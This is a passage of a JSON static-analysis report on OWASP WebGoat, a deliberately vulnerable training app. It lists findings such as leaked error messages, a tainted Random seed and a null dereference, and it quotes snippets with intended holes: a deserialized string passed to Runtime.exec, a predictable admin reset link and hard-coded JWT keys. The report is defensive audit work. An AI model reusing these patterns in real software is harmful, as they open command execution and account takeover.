System.err.println(e.getMessage());\n                return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n            }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 76, EndLine: 82\nCode:\nreturn checkSalaryRanking(connection, output);\n\n        } catch (Exception e) {\n            System.err.println(e.getMessage());\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 197, EndLine: 203\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1036, EndLine: 1042\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating access_log table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 701, EndLine: 707\nCode:\nString dropTable = \"DROP TABLE auth\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop auth table\");\n        }\n\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/idor/src/main/java/org/owasp/webgoat/idor/IDORViewOwnProfile.java\nStartLine: 54, EndLine: 60\nCode:\ndetails.put(\"error\",\"You do not have privileges to view the profile. Authenticate as tom first please.\");\n            }\n        }catch (Exception ex) {\n            System.out.println(ex.getMessage());\n        }\n        return details;\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 129, EndLine: 135\nCode:\nString dropTable = \"DROP TABLE messages\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop message database\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 516, EndLine: 522\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating tan table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 32, EndLine: 38\nCode:\npublic static void main(String[] args) {\n        if (args == null || args.length != 2) {\n            System.out.println(\"Need a username and key\");\n            System.exit(1);\n        }\n        String username = args[0];","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 507, EndLine: 513\nCode:\nString dropTable = \"DROP TABLE tan\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop tan table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 44, EndLine: 50\nCode:\n(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))\n\t\t\t\t|| requestedExecutionTime.isAfter(LocalDateTime.now()))) {\n\t\t\t//do nothing is the time is not within 10 minutes after the object has been created\n\t\t\tSystem.out.println(this.toString());\n\t\t\tthrow new IllegalArgumentException(\"outdated\");\n\t\t}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 95, EndLine: 101\nCode:\nString dropTable = \"DROP TABLE jwt_keys\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop jwtkeys table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 469, EndLine: 475\nCode:\nString dropTable = \"DROP TABLE user_data_tan\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop user_data_tan table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 395, EndLine: 401\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating salaries table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 992, EndLine: 998\nCode:\ntry {\n            statement.executeUpdate(\"DROP TABLE employees\");\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop employees table\");\n        }\n        try {\n            statement.executeUpdate(\"DROP TABLE access_log\");","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1068, EndLine: 1074\nCode:\ncreateModifyWithSQLLessonTable(connection);\n        createJWTKeys(connection);\n        createEmployeesTable(connection);\n        System.out.println(\"Success: creating tables.\");\n    }\n}\n        inputData = \"INSERT INTO ownership VALUES (111, 105)\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 384, EndLine: 390\nCode:\nString dropTable = \"DROP TABLE salaries\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop salaries table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 51, EndLine: 57\nCode:\nString dropTable = \"DROP TABLE servers\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop servers table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 276, EndLine: 282\nCode:\n+ \"cc_type varchar(10),\" + \"cookie varchar(20),\" + \"login_count int\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 563, EndLine: 569\nCode:\nString dropTable = \"DROP TABLE employee\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop employee table\");\n        }\n\n        // Create Table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 330, EndLine: 336\nCode:\n+ \"webgoat_user varchar(20)\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user_login table \" + e.getLocalizedMessage());\n        }\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 266, EndLine: 272\nCode:\nString dropTable = \"DROP TABLE user_data\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop user table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 356, EndLine: 362\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating pins table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 655, EndLine: 661\nCode:\nString dropTable = \"DROP TABLE roles\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop roles table\");\n        }\n\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 37, EndLine: 43\nCode:\nstream.defaultReadObject();\n\t\t\n\t\t//do something with the data\n\t\tSystem.out.println(\"restoring task: \"+taskName);\n\t\tSystem.out.println(\"restoring time: \"+requestedExecutionTime);\n\t\t\n\t\tif (requestedExecutionTime!=null &&","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 227, EndLine: 233\nCode:\nString dropTable = \"DROP TABLE user_system_data\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop user admin table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 427, EndLine: 433\nCode:\nString dropTable = \"DROP TABLE weather_data\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop weather table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 321, EndLine: 327\nCode:\nString dropTable = \"DROP TABLE user_login\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop user_login table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/advanced/SqlInjectionChallenge.java\nStartLine: 107, EndLine: 113\nCode:\nstatic void checkDatabase(Connection connection) throws SQLException {\n        try {\n            Statement statement = connection.createStatement();\n            System.out.println(USERS_TABLE_NAME);\n            statement.execute(\"select 1 from \" + USERS_TABLE_NAME);\n        } catch (SQLException e) {\n            createChallengeTable(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 187, EndLine: 193\nCode:\nString dropTable = \"DROP TABLE product_system_data\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop product table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1048, EndLine: 1054\nCode:\n* @throws java.sql.SQLException if any.\n     */\n    public void makeDB(Connection connection) throws SQLException {\n        System.out.println(\"Successful connection to database\");\n        createServersTable(connection);\n        createUserDataTable(connection);\n        createLoginTable(connection);","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 803, EndLine: 809\nCode:\nString dropTable = \"DROP TABLE ownership\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop ownership table\");\n        }\n\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 812, EndLine: 818\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create ownership table: \" + e.getLocalizedMessage());\n        }\n\n        String inputData = \"INSERT INTO ownership VALUES (112, 101)\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 236, EndLine: 242\nCode:\n+ \"user_name varchar(12),\" + \"password varchar(10),\" + \"cookie varchar(30)\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user admin table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 942, EndLine: 948\nCode:\nString dropTable = \"DROP TABLE transactions\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop transactions table\");\n        }\n\n        try {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 38, EndLine: 43\nCode:\nString username = args[0];\n        String key = args[1];\n        System.out.println(\"Generation password reset link for \" + username);\n        System.out.println(\"Created password reset link: \" + new PasswordResetLink().createPasswordReset(username, key));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 437, EndLine: 443\nCode:\n+ \"max_temp int not null\" + \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating weather table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/TokenTest.java\nStartLine: 50, EndLine: 56\nCode:\n.setIssuedAt(new Date(System.currentTimeMillis() + TimeUnit.DAYS.toDays(10)))\n                .setClaims(claims)\n                .signWith(io.jsonwebtoken.SignatureAlgorithm.HS512, key).compact();\n        System.out.println(token);\n        Jwt jwt = Jwts.parser().setSigningKey(\"qwertyqwerty1234\").parse(token);\n        jwt = Jwts.parser().setSigningKeyResolver(new SigningKeyResolverAdapter(){\n            @Override","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/cross-site-scripting/src/main/java/org/owasp/webgoat/xss/CrossSiteScriptingLesson3.java\nStartLine: 66, EndLine: 72\nCode:\n}\n\n            if (includeCorrect && firstNameCorrect && lastNameCorrect) {\n                System.out.println(\"true\");\n                return trackProgress(success().feedback(\"xss-mitigation-3-success\").build());\n            } else {\n                return trackProgress(failed().feedback(\"xss-mitigation-3-failure\").build());","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 953, EndLine: 959\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create transactions table: \" + e.getLocalizedMessage());\n            throw e;\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/jwt/src/test/java/org/owasp/webgoat/jwt/TokenTest.java\nStartLine: 73, EndLine: 78\nCode:\n.compact();\n        //Jws<Claims> jws = Jwts.parser().setSigningKey(\"bm5n3SkxCX4kKRy4\").parseClaimsJws(token);\n        //Jwts.parser().setSigningKey().parsePlaintextJws(token);\n        System.out.println(token);\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 38, EndLine: 44\nCode:\n//do something with the data\n\t\tSystem.out.println(\"restoring task: \"+taskName);\n\t\tSystem.out.println(\"restoring time: \"+requestedExecutionTime);\n\t\t\n\t\tif (requestedExecutionTime!=null && \n\t\t\t\t(requestedExecutionTime.isBefore(LocalDateTime.now().minusMinutes(10))","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 52, EndLine: 58\nCode:\n} else {\n            for (String element : args) {\n                try {\n                    System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n                } catch (IOException x) {\n                    System.err.println(x.getMessage());\n                }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 1012, EndLine: 1018\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating employees table \" + e.getLocalizedMessage());\n        }\n\n        // Populate","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/missing-function-ac/src/main/java/org/owasp/webgoat/missing_ac/MissingFunctionACUsers.java\nStartLine: 84, EndLine: 90\nCode:\nuserService.addUser(newUser.getUsername(),newUser.getPassword(),newUser.getRole());\n            return userService.loadUserByUsername(newUser.getUsername());\n        } catch (Exception ex) {\n            System.out.println(\"Error creating new User\" + ex.getMessage());\n            ex.printStackTrace();\n            //TODO: implement error handling ...\n        } finally {","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 583, EndLine: 589\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create employee table \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO employee VALUES (101, 'Larry', 'Stooge', '386-09-5451', 'larry',\"","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 972, EndLine: 978\nCode:\nstatement.executeUpdate(\"INSERT INTO Transactions VALUES (\" + data[i] + \");\");\n            }\n        } catch (SQLException sqle) {\n            System.out.println(\"Error: Unable to insert transactions:  \" + sqle.getLocalizedMessage());\n            int errorCode = sqle.getErrorCode();\n            System.out.println(\"Error Code: \" + errorCode);\n            // ignore exceptions for Oracle and SQL Server","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 997, EndLine: 1003\nCode:\ntry {\n            statement.executeUpdate(\"DROP TABLE access_log\");\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop access_log table\");\n        }\n\n        // Create the employees table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 664, EndLine: 670\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: Unable to create role table: \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO roles VALUES (101, 'employee')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 77, EndLine: 83\nCode:\nstatement.executeUpdate(insertData4);\n            statement.executeUpdate(insertData5);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 110, EndLine: 116\nCode:\nstatement.executeUpdate(insertData1);\n            statement.executeUpdate(insertData2);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating product table \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson9.java\nStartLine: 97, EndLine: 103\nCode:\n}\n\n        } catch (SQLException e) {\n            System.err.println(e.getMessage());\n            return trackProgress(failed().feedback(\"sql-injection.error\").output(\"<br><span class='feedback-negative'>\" + e.getMessage() + \"</span>\").build());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 139, EndLine: 145\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating message database \" + e.getLocalizedMessage());\n        }\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 51, EndLine: 57\nCode:\n//condition is here to prevent you from destroying the goat altogether\n\t\tif ((taskAction.startsWith(\"sleep\")||taskAction.startsWith(\"ping\"))\n\t\t\t\t&& taskAction.length() < 22) {\n\t\tSystem.out.println(\"about to execute: \"+taskAction);\n\t\ttry {\n            Process p = Runtime.getRuntime().exec(taskAction);\n            BufferedReader in = new BufferedReader(","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 54, EndLine: 60\nCode:\ntry {\n                    System.out.println(MD5.getHashString(new File(element)) + \" \" + element);\n                } catch (IOException x) {\n                    System.err.println(x.getMessage());\n                }\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 37, EndLine: 43\nCode:\n}\n        String username = args[0];\n        String key = args[1];\n        System.out.println(\"Generation password reset link for \" + username);\n        System.out.println(\"Created password reset link: \" + new PasswordResetLink().createPasswordReset(username, key));\n    }\n}","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/insecure-deserialization/src/main/java/org/dummy/insecure/framework/VulnerableTaskHolder.java\nStartLine: 58, EndLine: 64\nCode:\nnew InputStreamReader(p.getInputStream()));\n            String line = null;\n            while ((line = in.readLine()) != null) {\n                System.out.println(line);\n            }\n        } catch (IOException e) {\n            e.printStackTrace();","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 157, EndLine: 163\nCode:\nString dropTable = \"DROP TABLE mfe_images\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop mfe_images table from database\");\n        }\n\n        // Create the new mfe_images table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 974, EndLine: 980\nCode:\n} catch (SQLException sqle) {\n            System.out.println(\"Error: Unable to insert transactions:  \" + sqle.getLocalizedMessage());\n            int errorCode = sqle.getErrorCode();\n            System.out.println(\"Error Code: \" + errorCode);\n            // ignore exceptions for Oracle and SQL Server\n            if (errorCode != 911 && errorCode != 273) {\n                throw sqle;","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 480, EndLine: 486\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating user_data_tan table \" + e.getLocalizedMessage());\n        }\n\n        // Populate it","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 710, EndLine: 716\nCode:\nstatement.executeUpdate(createTable);\n        } catch (SQLException e) {\n            System.out.println(\"Error: unable to create auth table: \" + e.getLocalizedMessage());\n        }\n\n        String insertData1 = \"INSERT INTO auth VALUES('employee', 'Logout')\";","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 344, EndLine: 350\nCode:\nString dropTable = \"DROP TABLE pins\";\n            statement.executeUpdate(dropTable);\n        } catch (SQLException e) {\n            System.out.println(\"Info - Could not drop pins table\");\n        }\n\n        // Create the new table","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/sql-injection/src/main/java/org/owasp/webgoat/sql_injection/introduction/SqlInjectionLesson10.java\nStartLine: 89, EndLine: 95\nCode:\nif (error_msg.contains(\"object not found: ACCESS_LOG\")) {\n                return false;\n            } else {\n                System.err.println(e.getMessage());\n                return false;\n            }\n        }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-container/src/main/java/org/owasp/webgoat/session/CreateDB.java\nStartLine: 168, EndLine: 174\nCode:\n+ \")\";\n            statement.executeUpdate(createTableStatement);\n        } catch (SQLException e) {\n            System.out.println(\"Error creating mfe_images table in database \" + e.getLocalizedMessage());\n        }\n\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"},{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/MD5.java\nStartLine: 48, EndLine: 54\nCode:\n*/\n    public static void main(String[] args) {\n        if (args.length == 0) {\n            System.err.println(\"Please specify a file.\");\n        } else {\n            for (String element : args) {\n                try {","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SI-11","Rev_4"]}},{"id":"3CB1D23E-CE0D-47E5-B387-F1026CDA0D64","desc":"<Content><code>Random.setSeed()</code> should not be called with a tainted integer argument. Doing so allows an attacker to control the value used to seed the pseudorandom number generator, and therefore predict the sequence of values (usually integers) produced by calls to <code>Random.nextInt()</code>, <code>Random.nextShort()</code>, <code>Random.nextLong()</code>, or returned by <code>Random.nextBoolean()</code>, or set in <code>Random.nextBytes(byte[])</code>.\n    </Content>","title":"<Content><Paragraph>The function <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> is passed a tainted value for the seed. Functions that generate random or pseudorandom values, which are passed a seed, should not be called with a tainted integer argument.<AltParagraph>Functions that generate random or pseudorandom values, which are passed a seed, should not be called with a tainted integer argument.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: webgoat-lessons/challenge/src/main/java/org/owasp/webgoat/challenges/challenge7/PasswordResetLink.java\nStartLine: 14, EndLine: 20\nCode:\nRandom random = new Random();\n        if (username.equalsIgnoreCase(\"admin\")) {\n            //Admin has a fix reset link\n            random.setSeed(key.length());\n        }\n        return scramble(random, scramble(random, scramble(random, MD5.getHashString(username))));\n    }","run_time":null,"start_time":"2019-10-02 23:00:39"}],"tags":{"nist":["SC-13","Rev_4"]}},{"id":"B32F92AC-9605-0987-E73B-CCB28279AA24","desc":"<Content>Null-pointer exceptions usually occur when one or more of the programmer's assumptions is violated. A dereference-after-store error occurs when a program explicitly sets an object to <code>null</code> and dereferences it later. This error is often the result of a programmer initializing a variable to <code>null</code> when it is declared.\n\n<Paragraph>\nIn this case, the variable can be <code>null</code> when it is dereferenced at line <Replace key=\"PrimaryLocation.line\"/>, thereby causing a null-pointer exception.\n</Paragraph>\nMost null-pointer issues result in general software reliability problems, but if attackers can intentionally trigger a null-pointer dereference, they can use the resulting exception to bypass security logic or to cause the application to reveal debugging information that will be valuable in planning subsequent attacks.\n\n<b>Example:</b> In the following code, the programmer explicitly sets the variable <code>foo</code> to <code>null</code>. Later, the programmer dereferences <code>foo</code> before checking the object for a <code>null</code> value.\n\n<pre>\nFoo foo = null;\n...\nfoo.setBar(val);\n...\n}\n</pre></Content>","title":"<Content><Paragraph>The method <Replace key=\"EnclosingFunction.name\"/> in <Replace key=\"PrimaryLocation.file\"/> can crash the program by dereferencing a null-pointer on line <Replace key=\"PrimaryLocation.line\"/>.<AltParagraph>The program can potentially dereference a null-pointer, thereby causing a null-pointer exception.</AltParagraph></Paragraph></Content>","impact":0.6,"descriptions":[],"refs":[],"source_location":{},"code":null,"results":[{"status":"failed","code_desc":"\nPath: 